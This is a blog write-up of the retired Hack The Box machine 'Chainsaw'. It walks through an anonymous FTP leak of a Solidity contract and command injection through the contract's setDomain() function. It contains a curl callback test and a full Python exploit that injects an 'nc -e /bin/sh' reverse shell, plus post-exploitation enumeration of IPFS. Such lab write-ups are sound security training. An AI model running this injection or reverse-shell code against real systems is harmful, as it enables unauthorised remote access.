Hack The Box - Chainsaw
source link: https://0xrick.github.io/hack-the-box/chainsaw/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
My write-up / walkthrough for Chainsaw from Hack The Box.
Quick Summary
Hey guys, today Chainsaw retired and here’s my write-up about it. It was a great machine with vulnerable smart contracts and other fun stuff. I enjoyed it and I learned a lot while solving it. It’s a Linux box and its ip is 10.10.10.142
, I added it to /etc/hosts
as chainsaw.htb
. Let’s jump right in !
Nmap
As always we will start with nmap
to scan for open ports and services:
root@kali:~/Desktop/HTB/boxes/chainsaw# nmap -sV -sT -sC -o nmapinitial chainsaw.htb Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-22 18:34 EET Nmap scan report for chainsaw.htb (10.10.10.142) Host is up (1.2s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 | ftp-anon: Anonymous FTP login allowed (FTP code 230) | -rw-r--r-- 1 1001 1001 23828 Dec 05 2018 WeaponizedPing.json | -rw-r--r-- 1 1001 1001 243 Dec 12 2018 WeaponizedPing.sol |_-rw-r--r-- 1 1001 1001 44 Nov 22 05:03 address.txt | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:10.10.xx.xx | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 5 | vsFTPd 3.0.3 - secure, fast, stable |_End of status 22/tcp open ssh OpenSSH 7.7p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 02:dd:8a:5d:3c:78:d4:41:ff:bb:27:39:c1:a2:4f:eb (RSA) | 256 3d:71:ff:d7:29:d5:d4:b2:a6:4f:9d:eb:91:1b:70:9f (ECDSA) |_ 256 7e:02:da:db:29:f9:d2:04:63:df:fc:91:fd:a2:5a:f2 (ED25519) Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 394.56 seconds root@kali:~/Desktop/HTB/boxes/chainsaw#
We got ssh
on port 22 and ftp
on port 21.
FTP
Anonymous authentication was allowed on the ftp
server, so let’s check what’s in there:
root@kali:~/Desktop/HTB/boxes/chainsaw# ftp chainsaw.htb Connected to chainsaw.htb. 220 (vsFTPd 3.0.3) Name (chainsaw.htb:root): anonymous 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. -rw-r--r-- 1 1001 1001 23828 Dec 05 2018 WeaponizedPing.json -rw-r--r-- 1 1001 1001 243 Dec 12 2018 WeaponizedPing.sol -rw-r--r-- 1 1001 1001 44 Nov 22 05:03 address.txt 226 Directory send OK. ftp> mget * mget WeaponizedPing.json? y 200 PORT command successful. Consider using PASV. 150 Opening BINARY mode data connection for WeaponizedPing.json (23828 bytes). 226 Transfer complete. 23828 bytes received in 0.26 secs (88.2424 kB/s) mget WeaponizedPing.sol? y 200 PORT command successful. Consider using PASV. 150 Opening BINARY mode data connection for WeaponizedPing.sol (243 bytes). 226 Transfer complete. 243 bytes received in 0.00 secs (2.3174 MB/s) mget address.txt? y 200 PORT command successful. Consider using PASV. 150 Opening BINARY mode data connection for address.txt (44 bytes). 226 Transfer complete. 44 bytes received in 0.00 secs (421.2623 kB/s) ftp> exit 221 Goodbye. root@kali:~/Desktop/HTB/boxes/chainsaw#
WeaponizedPing.sol
:
pragma solidity ^0.4.24; contract WeaponizedPing { string store = "google.com"; function getDomain() public view returns (string) { return store; } function setDomain(string _value) public { store = _value; } }
WeaponizedPing.json
:
{ "contractName": "WeaponizedPing", "abi": [ { "constant": true, "inputs": [], "name": "getDomain", "outputs": [ { "name": "", "type": "string" } ], "payable": false, "stateMutability": "view", "type": "function" }, { "constant": false, "inputs": [ { "name": "_value", "type": "string" } ], "name": "setDomain", "outputs": [], "payable": false, "stateMutability": "nonpayable", "type": "function" } ], "bytecode": "0x60806040526040805190810160405280600a81526020017f676f6f676c652e636f6d000000000000000000000000000000000000000000008152506000908051906020019061004f929190610062565b5034801561005c57600080fd5b50610107565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106100a357805160ff19168380011785556100d1565b828001600101855582156100d1579182015b828111156100d05782518255916020019190600101906100b5565b5b5090506100de91906100e2565b5090565b61010491905b808211156101005760008160009055506001016100e8565b5090565b90565b6102d7806101166000396000f30060806040526004361061004c576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063b68d180914610051578063e5eab096146100e1575b600080fd5b34801561005d57600080fd5b5061006661014a565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100a657808201518184015260208101905061008b565b50505050905090810190601f1680156100d35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156100ed57600080fd5b50610148600480360381019080803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506101ec565b005b606060008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156101e25780601f106101b7576101008083540402835291602001916101e2565b820191906000526020600020905b8154815290600101906020018083116101c557829003601f168201915b5050505050905090565b8060009080519060200190610202929190610206565b5050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061024757805160ff1916838001178555610275565b82800160010185558215610275579182015b82811115610274578251825591602001919060010190610259565b5b5090506102829190610286565b5090565b6102a891905b808211156102a457600081600090555060010161028c565b5090565b905600a165627a7a72305820d5d4d99bdb5542d8d65ef822d8a98c80911c2c3f15d609d10003ccf4227858660029", "deployedBytecode": "0x60806040526004361061004c576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063b68d180914610051578063e5eab096146100e1575b600080fd5b34801561005d57600080fd5b5061006661014a565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100a657808201518184015260208101905061008b565b50505050905090810190601f1680156100d35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156100ed57600080fd5b50610148600480360381019080803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506101ec565b005b606060008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156101e25780601f106101b7576101008083540402835291602001916101e2565b820191906000526020600020905b8154815290600101906020018083116101c557829003601f168201915b5050505050905090565b8060009080519060200190610202929190610206565b5050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061024757805160ff1916838001178555610275565b82800160010185558215610275579182015b82811115610274578251825591602001919060010190610259565b5b5090506102829190610286565b5090565b6102a891905b808211156102a457600081600090555060010161028c565b5090565b905600a165627a7a72305820d5d4d99bdb5542d8d65ef822d8a98c80911c2c3f15d609d10003ccf4227858660029", "sourceMap": "27:210:1:-;;;56:27;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;27:210;8:9:-1;5:2;;;30:1;27;20:12;5:2;27:210:1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;:::o;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;:::-;;;;;;;", "deployedSourceMap": "27:210:1:-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;88:75;;8:9:-1;5:2;;;30:1;27;20:12;5:2;88:75:1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23:1:-1;8:100;33:3;30:1;27:10;8:100;;;99:1;94:3;90:11;84:18;80:1;75:3;71:11;64:39;52:2;49:1;45:10;40:15;;8:100;;;12:14;88:75:1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;166:68;;8:9:-1;5:2;;;30:1;27;20:12;5:2;166:68:1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;88:75;130:6;153:5;146:12;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;88:75;:::o;166:68::-;223:6;215:5;:14;;;;;;;;;;;;:::i;:::-;;166:68;:::o;27:210::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;:::o;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o", "source": "pragma solidity ^0.4.24;\n\n\ncontract WeaponizedPing {\n\n string store = \"google.com\";\n\n function getDomain() public view returns (string) {\n return store;\n }\n function setDomain(string _value) public {\n store = _value;\n }\n\n}\n\n", "sourcePath": "/opt/WeaponizedPing/WeaponizedPing.sol", "ast": { "absolutePath": "/opt/WeaponizedPing/WeaponizedPing.sol", "exportedSymbols": { "WeaponizedPing": [ 80 ] }, ---------- Redacted ---------- "networks": { "1543936419890": { "events": {}, "links": {}, "address": "0xaf6ce61d342b48cc992820a154fe0f533e5e487c", "transactionHash": "0x5e94c662f1048fca58c07e16506f1636391f757b07c1b6bb6fbb4380769e99e1" } }, "schemaVersion": "2.0.1", "updatedAt": "2018-12-04T15:24:57.205Z" }
address.txt
:
0x479C21df57F2deaB052C466E4de7E82539F6A988
WeaponizedPing: Analysis
WeaponizedPing
is a smart contract . smart contracts are written in a language called solidity .
The contract has a variable called store
which holds the value google.com
by default:
string store = "google.com";
There are two functions, getDomain()
which returns the value of store
:
function getDomain() public view returns (string) { return store; }
And setDomain()
which takes a string and changes the value of store
from whatever it was to that string:
function setDomain(string _value) public { store = _value; }
From the name of the contract ( WeaponizedPing
), I assumed that ping
gets executed on store
. We can control store
by calling setDomain()
, if the ping
command doesn’t get filtered we’ll be able to inject commands and get RCE
. However to do all of that we need to be able to interact with the contract in the first place.
WeaponizedPing: Interaction
Assuming that the contract is deployed on a publicly exposed ethereum
node, I ran a full nmap
scan to find the port on which the server is running:
root@kali:~/Desktop/HTB/boxes/chainsaw# nmap -p- -T5 chainsaw.htb --max-retries 1 -o nmapfull Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-22 19:08 EET Nmap scan report for chainsaw.htb (10.10.10.142) Host is up (2.8s latency). Not shown: 37555 closed ports, 27977 filtered ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 9810/tcp open unknown Nmap done: 1 IP address (1 host up) scanned in 674.00 seconds root@kali:~/Desktop/HTB/boxes/chainsaw#
I found another open port (9810), I ran a service scan on that port:
root@kali:~/Desktop/HTB/boxes/chainsaw# nmap -p 9810 -sV -sT -sC -o nmap9810 chainsaw.htb Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-22 19:24 EET Nmap scan report for chainsaw.htb (10.10.10.142) Host is up (1.7s latency). PORT STATE SERVICE VERSION 9810/tcp open unknown | fingerprint-strings: | FourOhFourRequest: | HTTP/1.1 400 Bad Request | Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, User-Agent | Access-Control-Allow-Origin: * | Access-Control-Allow-Methods: * | Content-Type: text/plain | Date: Fri, 22 Nov 2019 17:25:01 GMT | Connection: close | Request | GetRequest: | HTTP/1.1 400 Bad Request | Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, User-Agent | Access-Control-Allow-Origin: * | Access-Control-Allow-Methods: * | Content-Type: text/plain | Date: Fri, 22 Nov 2019 17:24:27 GMT | Connection: close | Request | HTTPOptions: | HTTP/1.1 200 OK | Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, User-Agent | Access-Control-Allow-Origin: * | Access-Control-Allow-Methods: * | Content-Type: text/plain | Date: Fri, 22 Nov 2019 17:24:30 GMT |_ Connection: close 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port9810-TCP:V=7.70%I=7%D=11/22%Time=5DD819CA%P=x86_64-pc-linux-gnu%r(G SF:etRequest,118,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nAccess-Control-All SF:ow-Headers:\x20Origin,\x20X-Requested-With,\x20Content-Type,\x20Accept, SF:\x20User-Agent\r\nAccess-Control-Allow-Origin:\x20\*\r\nAccess-Control- SF:Allow-Methods:\x20\*\r\nContent-Type:\x20text/plain\r\nDate:\x20Fri,\x2 SF:022\x20Nov\x202019\x2017:24:27\x20GMT\r\nConnection:\x20close\r\n\r\n40 SF:0\x20Bad\x20Request")%r(HTTPOptions,100,"HTTP/1\.1\x20200\x20OK\r\nAcce SF:ss-Control-Allow-Headers:\x20Origin,\x20X-Requested-With,\x20Content-Ty SF:pe,\x20Accept,\x20User-Agent\r\nAccess-Control-Allow-Origin:\x20\*\r\nA SF:ccess-Control-Allow-Methods:\x20\*\r\nContent-Type:\x20text/plain\r\nDa SF:te:\x20Fri,\x2022\x20Nov\x202019\x2017:24:30\x20GMT\r\nConnection:\x20c SF:lose\r\n\r\n")%r(FourOhFourRequest,118,"HTTP/1\.1\x20400\x20Bad\x20Requ SF:est\r\nAccess-Control-Allow-Headers:\x20Origin,\x20X-Requested-With,\x2 SF:0Content-Type,\x20Accept,\x20User-Agent\r\nAccess-Control-Allow-Origin: SF:\x20\*\r\nAccess-Control-Allow-Methods:\x20\*\r\nContent-Type:\x20text/ SF:plain\r\nDate:\x20Fri,\x2022\x20Nov\x202019\x2017:25:01\x20GMT\r\nConne SF:ction:\x20close\r\n\r\n400\x20Bad\x20Request"); Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 90.55 seconds root@kali:~/Desktop/HTB/boxes/chainsaw#
It responded to HTTP
requests which means that the JSON-RPC
server is HTTP
based.
There are a lot of ways to interact with ethereum
smart contracts, I used web3
python library . ( A great reference )
I imported Web3
and eth
:
from web3 import Web3, eth
Then I created a new web3
connection to http://chainsaw.htb:9810
and saved it in a variable called w3
:
w3 = Web3(Web3.HTTPProvider('http://chainsaw.htb:9810'))
To interact with the smart contract we need two things:
- The address of the contract: we got the address earlier from the
ftp
server (Note: that address changes everytime the box is reset). - The
ABI
(Application Binary Interface) of the contract: We can get it from the contract source.
To get the ABI
I used the solidity IDE
to compile the contract then I clicked on “Details” and copied the ABI
:
I saved it in a file ( ABI.txt
) then I executed echo -n
on cat ABI.txt
to make it a single line:
root@kali:~/Desktop/HTB/boxes/chainsaw# echo -n `cat ABI.txt` [ { "constant": true, "inputs": [], "name": "getDomain", "outputs": [ { "name": "", "type": "string" } ], "payable": false, "stateMutability": "view", "type": "function" }, { "constant": false, "inputs": [ { "name": "_value", "type": "string" } ], "name": "setDomain", "outputs": [], "payable": false, "stateMutability": "nonpayable", "type": "function" } ] root@kali:~/Desktop/HTB/boxes/chainsaw#
I saved the ABI
and the address in variables:
abi = json.loads('[{"constant":true,"inputs":[],"name":"getDomain","outputs":[{"name":"","type": "string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_value","type":"string"}],"name":"setDomain","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}]') address = "0x0e8385E6A7b5f4fFE58a02bD506e53e9f3FAD453"
Then I finally created the contract representation and saved it in the variable contract
:
contract = w3.eth.contract(address=address, abi=abi)
By using the functions
property we can call any function that the contract has, let’s call the function getDomain()
:
print(contract.functions.getDomain().call())
Final test.py
looks like this:
#!/usr/bin/python3 import json from web3 import Web3, eth w3 = Web3(Web3.HTTPProvider('http://chainsaw.htb:9810')) abi = json.loads('[{"constant":true,"inputs":[],"name":"getDomain","outputs":[{"name":"","type": "string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_value","type":"string"}],"name":"setDomain","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}]') address = "0x0e8385E6A7b5f4fFE58a02bD506e53e9f3FAD453" contract = w3.eth.contract(address=address, abi=abi) print(contract.functions.getDomain().call())
Let’s run it:
root@kali:~/Desktop/HTB/boxes/chainsaw# ./test.py google.com root@kali:~/Desktop/HTB/boxes/chainsaw#
It’s working fine, let’s try to change the domain by using setDomain()
:
contract.functions.setDomain("test").transact()
Note: When passing arguments to functions we have to use transact()
instead of call()
, to use transact()
we need an account, that’s why I added this line:
w3.eth.defaultAccount = w3.eth.accounts[0]
test.py
:
#!/usr/bin/python3 import json from web3 import Web3, eth w3 = Web3(Web3.HTTPProvider('http://chainsaw.htb:9810')) w3.eth.defaultAccount = w3.eth.accounts[0] abi = json.loads('[{"constant":true,"inputs":[],"name":"getDomain","outputs":[{"name":"","type": "string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_value","type":"string"}],"name":"setDomain","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}]') address = "0x0e8385E6A7b5f4fFE58a02bD506e53e9f3FAD453" contract = w3.eth.contract(address=address, abi=abi) contract.functions.setDomain("test").transact() print(contract.functions.getDomain().call())
root@kali:~/Desktop/HTB/boxes/chainsaw# ./test.py test root@kali:~/Desktop/HTB/boxes/chainsaw#
Great, now for the exploitation part.
WeaponizedPing: Exploitation
Let’s try to inject commands in the domain name and see if it’ll work, I injected a curl
command and I ran a python server on port 80:
contract.functions.setDomain("test; curl http://10.10.xx.xx/").transact()
test.py
:
#!/usr/bin/python3 import json from web3 import Web3, eth w3 = Web3(Web3.HTTPProvider('http://chainsaw.htb:9810')) w3.eth.defaultAccount = w3.eth.accounts[0] abi = json.loads('[{"constant":true,"inputs":[],"name":"getDomain","outputs":[{"name":"","type": "string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_value","type":"string"}],"name":"setDomain","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}]') address = "0x0e8385E6A7b5f4fFE58a02bD506e53e9f3FAD453" contract = w3.eth.contract(address=address, abi=abi) contract.functions.setDomain("test; curl http://10.10.xx.xx/").transact() print(contract.functions.getDomain().call())
root@kali:~/Desktop/HTB/boxes/chainsaw# ./test.py test; curl http://10.10.xx.xx/ root@kali:~/Desktop/HTB/boxes/chainsaw#
After a few seconds I got a request:
root@kali:~/Desktop/HTB/boxes/chainsaw# python -m SimpleHTTPServer 80 Serving HTTP on 0.0.0.0 port 80 ... 10.10.10.142 - - [22/Nov/2019 20:59:23] "GET / HTTP/1.1" 200 -
Based on these tests I wrote this small exploit:
#!/usr/bin/python3 import json from web3 import Web3, eth from sys import argv YELLOW = "\033[93m" GREEN = "\033[32m" def exploit(address, ip, port): print(YELLOW + "[+] Starting") print(YELLOW + "[+] Connecting to chainsaw.htb:9810") w3 = Web3(Web3.HTTPProvider('http://chainsaw.htb:9810')) print(GREEN + "[*] Connection Established") w3.eth.defaultAccount = w3.eth.accounts[0] print(YELLOW + "[+] Creating the contract representation") print(YELLOW + "[+] Address: {}".format(address)) abi = json.loads('[{"constant":true,"inputs":[],"name":"getDomain","outputs":[{"name":"","type": "string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_value","type":"string"}],"name":"setDomain","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}]') contract = w3.eth.contract(address=address, abi=abi) print(GREEN + "[*] Done") print(YELLOW + "[+] Injecting Reverse Shell:") print(YELLOW + " [!] IP: {}".format(ip)) print(YELLOW + " [!] PORT: {}".format(port)) contract.functions.setDomain("pwn3d;nc {} {} -e /bin/sh".format(ip,port)).transact() print(GREEN + "[*] Domain Changed Successfully, New Value: " + contract.functions.getDomain().call()) print(GREEN + "[*] Now wait for your reverse shell, Exiting...") exit() if len(argv) != 4 or argv[1] == "-h": print(YELLOW + "[!] Usage: {} [contract address] [ip] [port]".format(argv[0])) exit() else: address = argv[1] ip = argv[2] port = argv[3] exploit(address, ip, port)
I listened on port 1337 and ran the exploit:
root@kali:~/Desktop/HTB/boxes/chainsaw# ./exploit.py 0x479C21df57F2deaB052C466E4de7E82539F6A988 10.10.xx.xx 1337 [+] Starting [+] Connecting to chainsaw.htb:9810 [*] Connection Established [+] Creating the contract representation [+] Address: 0x479C21df57F2deaB052C466E4de7E82539F6A988 [*] Done [+] Injecting Reverse Shell: [!] IP: 10.10.xx.xx [!] PORT: 1337 [*] Domain Changed Successfully, New Value: pwn3d;nc 10.10.xx.xx 1337 -e /bin/sh [*] Now wait for your reverse shell, Exiting... root@kali:~/Desktop/HTB/boxes/chainsaw#
And I got a shell immediately as a user called administrator
:
root@kali:~/Desktop/HTB/boxes/chainsaw# nc -lvnp 1337 Ncat: Version 7.70 ( https://nmap.org/ncat ) Ncat: Listening on :::1337 Ncat: Listening on 0.0.0.0:1337 Ncat: Connection from 10.10.10.142. Ncat: Connection from 10.10.10.142:49262. whoami administrator which python /usr/bin/python python -c "import pty;pty.spawn('/bin/bash')" administrator@chainsaw:/opt/WeaponizedPing$ ^Z [1]+ Stopped nc -lvnp 1337 root@kali:~/Desktop/HTB/boxes/chainsaw# stty raw -echo root@kali:~/Desktop/HTB/boxes/chainsaw# nc -lvnp 1337 administrator@chainsaw:/opt/WeaponizedPing$ export TERM=screen administrator@chainsaw:/opt/WeaponizedPing$
ipfs –> SSH as bobby –> User Flag
There were 2 users on the box, administrator
and bobby
:
administrator@chainsaw:/opt/WeaponizedPing$ cd /home administrator@chainsaw:/home$ ls -al total 16 drwxr-xr-x 4 root root 4096 Dec 12 2018 . drwxr-xr-x 25 root root 4096 Dec 20 2018 .. drwxr-x--- 8 administrator administrator 4096 Dec 20 2018 administrator drwxr-x--- 9 bobby bobby 4096 Jan 23 2019 bobby administrator@chainsaw:/home$
administrator
had no permission to access bobby
’s home directory:
administrator@chainsaw:/home$ cd bobby/ bash: cd: bobby/: Permission denied administrator@chainsaw:/home$
In administrator
’s home directory I noticed a directory called .ipfs
:
administrator@chainsaw:/home$ cd administrator/ administrator@chainsaw:/home/administrator$ ls -la total 104 drwxr-x--- 8 administrator administrator 4096 Dec 20 2018 . drwxr-xr-x 4 root root 4096 Dec 12 2018 .. lrwxrwxrwx 1 administrator administrator 9 Dec 12 2018 .bash_history -> /dev/null -rw-r----- 1 administrator administrator 220 Dec 12 2018 .bash_logout -rw-r----- 1 administrator administrator 3771 Dec 12 2018 .bashrc -rw-r----- 1 administrator administrator 220 Dec 20 2018 chainsaw-emp.csv drwxrwxr-x 5 administrator administrator 4096 Jan 23 2019 .ipfs drwxr-x--- 3 administrator administrator 4096 Dec 12 2018 .local drwxr-x--- 3 administrator administrator 4096 Dec 13 2018 maintain drwxr-x--- 2 administrator administrator 4096 Dec 12 2018 .ngrok2 -rw-r----- 1 administrator administrator 807 Dec 12 2018 .profile drwxr-x--- 2 administrator administrator 4096 Dec 12 2018 .ssh drwxr-x--- 2 administrator administrator 4096 Dec 12 2018 .swt -rw-r----- 1 administrator administrator 1739 Dec 12 2018 .tmux.conf -rw-r----- 1 administrator administrator 45152 Dec 12 2018 .zcompdump lrwxrwxrwx 1 administrator administrator 9 Dec 12 2018 .zsh_history -> /dev/null -rw-r----- 1 administrator administrator 1295 Dec 12 2018 .zshrc administrator@chainsaw:/home/administrator$
The InterPlanetary File System (IPFS) is a protocol and peer-to-peer network for storing and sharing data in a distributed file system . IPFS uses content-addressing to uniquely identify each file in a global namespace connecting all computing devices. - Wikipedia
Take a look at the cli documentation .
I used ip refs local
to list the local references:
administrator@chainsaw:/home/administrator$ ipfs refs local QmYCvbfNbCwFR45HiNP45rwJgvatpiW38D961L5qAhUM5Y QmPctBY8tq2TpPufHuQUbe2sCxoy2wD5YRB6kdce35ZwAx QmbwWcNc7TZBUDFzwW7eUTAyLE2hhwhHiTXqempi1CgUwB QmdL9t1YP99v4a2wyXFYAQJtbD9zKnPrugFLQWXBXb82sn QmSKboVigcD3AY4kLsob117KJcMHvMUu6vNFqk1PQzYUpp QmUHHbX4N8tUNyXFK9jNfgpFFddGgpn72CF1JyNnZNeVVn QmegE6RZe59xf1TyDdhhcNnMrsevsfuJHUynLuRc4yf6V1 QmWSLAHhiNVRMFMv4bnE7fqq9E74RtXTRm9E1QVo37GV9t QmPjsarLFBcY8seiv3rpUZ2aTyauPF3Xu3kQm56iD6mdcq QmZrd1ik8Z2F5iSZPDA2cZSmaZkHFEE4jZ3MiQTDKHAiri QmdfTbBqBPQ7VNxZEYEj14VmRuZBkqFbiwReogJgS1zR1n QmfRZWFfaugHeY5gcgNDrnRkxhPT3epmHodryPYK3it6kk QmZTR5bcpQD7cFgTorqxZDYaew1Wqgfbd2ud9QqGPAkK2V QmejvEPop4D7YUadeGqYWmZxHhLc4JBUCzJJHWMzdcMe2y QmbkQxbErC7KSWzSQw2FC13LUm9Rbo2XjeFQZbcmdarpuz QmPpsT37SpTbZkAeMz7LXiJ8nQseBNziGBzpW1YtM67qx6 QmXWS8VFBxJPsxhF8KEqN1VpZf52DPhLswcXpxEDzF5DWC QmViFN1CKxrg3ef1S8AJBZzQ2QS8xrcq3wHmyEfyXYjCMF QmZxzK6gXioAUH9a68ojwkos8EaeANnicBJNA3TND4Sizp Qmb7oGTxge7amSArtJsGUAqswY8y1G7m5QNjV57Nj5sEHU QmS4ustL54uo8FzR9455qaxZwuMiUhyvMcX9Ba8nUH4uVv QmXymZCHdTHz5BA5ugv9MQTBtQAb6Vit4iFeEnuRj6Udrh QmUNLLsPACCz1vLxQVkXqqLX5R1X345qqfHbsf67hvA3Nn Qma6kDKzUzFioo62v4LZaNsrwmCojF9AqwLaQJubRFnsAa QmXwXzVYKgYZEXU1dgCKeejT87Knw9nydGcuUZrjwNb2Me QmXgqKTbzdh83pQtKFb19SpMCpDDcKR2ujqk3pKph9aCNF QmYn3NxLLYA6xU2XL1QJfCZec4B7MpFNxVVtDvqbiZCFG8 QmWMuEvh2tGJ1DiNPPoN6rXme2jMYUixjxsC6QUji8mop8 QmY5heUM5qgRubMDD1og9fhCPA6QdkMp3QCwd4s7gJsyE7 QmQ5vhrL7uv6tuoN9KeVBwd4PwfQkXdVVmDLUZuTNxqgvm QmZMUdskS6vK8ycBiAffrYAE4wUDuWX9eK7kNgQqPCGbwF QmPC3ZbrMeZ8BpstpNseNV4fCRL4QDzUKrSv8EHkarbn7r QmPhk6cJkRcFfZCdYam4c9MKYjFG9V29LswUnbrFNhtk2S QmSyJKw6U6NaXupYqMLbEbpCdsaYR5qiNGRHjLKcmZV17r QmZZRTyhDpL5Jgift1cHbAhexeE1m2Hw8x8g7rTcPahDvo QmUH2FceqvTSAvn6oqm8M49TNDqowktkEx4LgpBx746HRS QmcMCDdN1qDaa2vaN654nA4Jzr6Zv9yGSBjKPk26iFJJ4M QmPZ9gcCEpqKTo6aq61g2nXGUhM4iCL3ewB6LDXZCtioEB Qmc7rLAhEh17UpguAsEyS4yfmAbeqSeSEz4mZZRNcW52vV administrator@chainsaw:/home/administrator$
I used ipfs ls
on every hash to list the contents, most of them were empty or useless except for this one which had some email messages:
administrator@chainsaw:/home/administrator$ ipfs ls QmZrd1ik8Z2F5iSZPDA2cZSmaZkHFEE4jZ3MiQTDKHAiri QmbwWcNc7TZBUDFzwW7eUTAyLE2hhwhHiTXqempi1CgUwB 10063 artichain600-protonmail-2018-12-13T20_50_58+01_00.eml QmViFN1CKxrg3ef1S8AJBZzQ2QS8xrcq3wHmyEfyXYjCMF 4640 bobbyaxelrod600-protonmail-2018-12-13-T20_28_54+01_00.eml QmZxzK6gXioAUH9a68ojwkos8EaeANnicBJNA3TND4Sizp 10084 bryanconnerty600-protonmail-2018-12-13T20_50_36+01_00.eml QmegE6RZe59xf1TyDdhhcNnMrsevsfuJHUynLuRc4yf6V1 10083 laraaxelrod600-protonmail-2018-12-13T20_49_35+01_00.eml QmXwXzVYKgYZEXU1dgCKeejT87Knw9nydGcuUZrjwNb2Me 10092 wendyrhoades600-protonmail-2018-12-13T20_50_15+01_00.eml administrator@chainsaw:/home/administrator$
We’re interested in bobby
’s file so I used ipfs get
to get it:
administrator@chainsaw:/home/administrator$ ipfs get QmViFN1CKxrg3ef1S8AJBZzQ2QS8xrcq3wHmyEfyXYjCMF Saving file(s) to QmViFN1CKxrg3ef1S8AJBZzQ2QS8xrcq3wHmyEfyXYjCMF 4.53 KiB / 4.53 KiB 100.00% 0s administrator@chainsaw:/home/administrator$ ls -al total 112 drwxr-x--- 8 administrator administrator 4096 Nov 22 19:50 . drwxr-xr-x 4 root root 4096 Dec 12 2018 .. lrwxrwxrwx 1 administrator administrator 9 Dec 12 2018 .bash_history -> /dev/null -rw-r----- 1 administrator administrator 220 Dec 12 2018 .bash_logout -rw-r----- 1 administrator administrator 3771 Dec 12 2018 .bashrc -rw-r----- 1 administrator administrator 220 Dec 20 2018 chainsaw-emp.csv drwxrwxr-x 5 administrator administrator 4096 Nov 22 19:50 .ipfs drwxr-x--- 3 administrator administrator 4096 Dec 12 2018 .local drwxr-x--- 3 administrator administrator 4096 Dec 13 2018 maintain drwxr-x--- 2 administrator administrator 4096 Dec 12 2018 .ngrok2 -rw-r----- 1 administrator administrator 807 Dec 12 2018 .profile -rw-r--r-- 1 administrator administrator 4629 Nov 22 19:50 QmViFN1CKxrg3ef1S8AJBZzQ2QS8xrcq3wHmyEfyXYjCMF drwxr-x--- 2 administrator administrator 4096 Dec 12 2018 .ssh drwxr-x--- 2 administrator administrator 4096 Dec 12 2018 .swt -rw-r----- 1 administrator administrator 1739 Dec 12 2018 .tmux.conf -rw-r----- 1 administrator administrator 45152 Dec 12 2018 .zcompdump lrwxrwxrwx 1 administrator administrator 9 Dec 12 2018 .zsh_history -> 